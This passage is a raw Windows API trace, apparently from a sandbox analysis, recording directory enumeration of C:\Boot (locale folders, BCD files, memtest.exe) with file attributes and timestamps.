ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d38220, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0130.581] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0130.581] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0130.581] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0130.582] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0130.582] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0130.582] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0130.582] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0130.583] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0130.583] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0130.583] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0130.583] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0130.584] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0130.584] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xce3b5a40, ftLastWriteTime.dwHighDateTime=0x1d03f5f, nFileSizeHigh=0x0, nFileSizeLow=0x795b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0130.584] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0130.584] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0130.585] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0130.585] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0130.585] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0130.585] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0130.585] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0130.586] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0130.586] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0130.586] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0130.586] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0130.586] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0130.586] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.590] SetErrorMode (uMode=0x0) returned 0x1 [0130.590] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x21d290, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0130.591] SetErrorMode (uMode=0x1) returned 0x0 [0130.591] FindFirstFileW (in: lpFileName="C:\\Boot\\*" (normalized: "c:\\boot\\*"), lpFindFileData=0x21d430 | out: lpFindFileData=0x21d430*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.592] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.592] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x8a67a2e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0xc6c87030, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0130.593] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xc6c3ad70, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0130.593] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0130.593] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0130.593] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9571c560, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0130.593] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d38220, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0130.593] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0130.594] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0130.594] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0130.594] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0130.594] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0130.594] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0130.594] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0130.595] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0130.595] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0130.595] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0130.595] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0130.595] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0130.595] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xce3b5a40, ftLastWriteTime.dwHighDateTime=0x1d03f5f, nFileSizeHigh=0x0, nFileSizeLow=0x795b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0130.595] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0130.595] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, 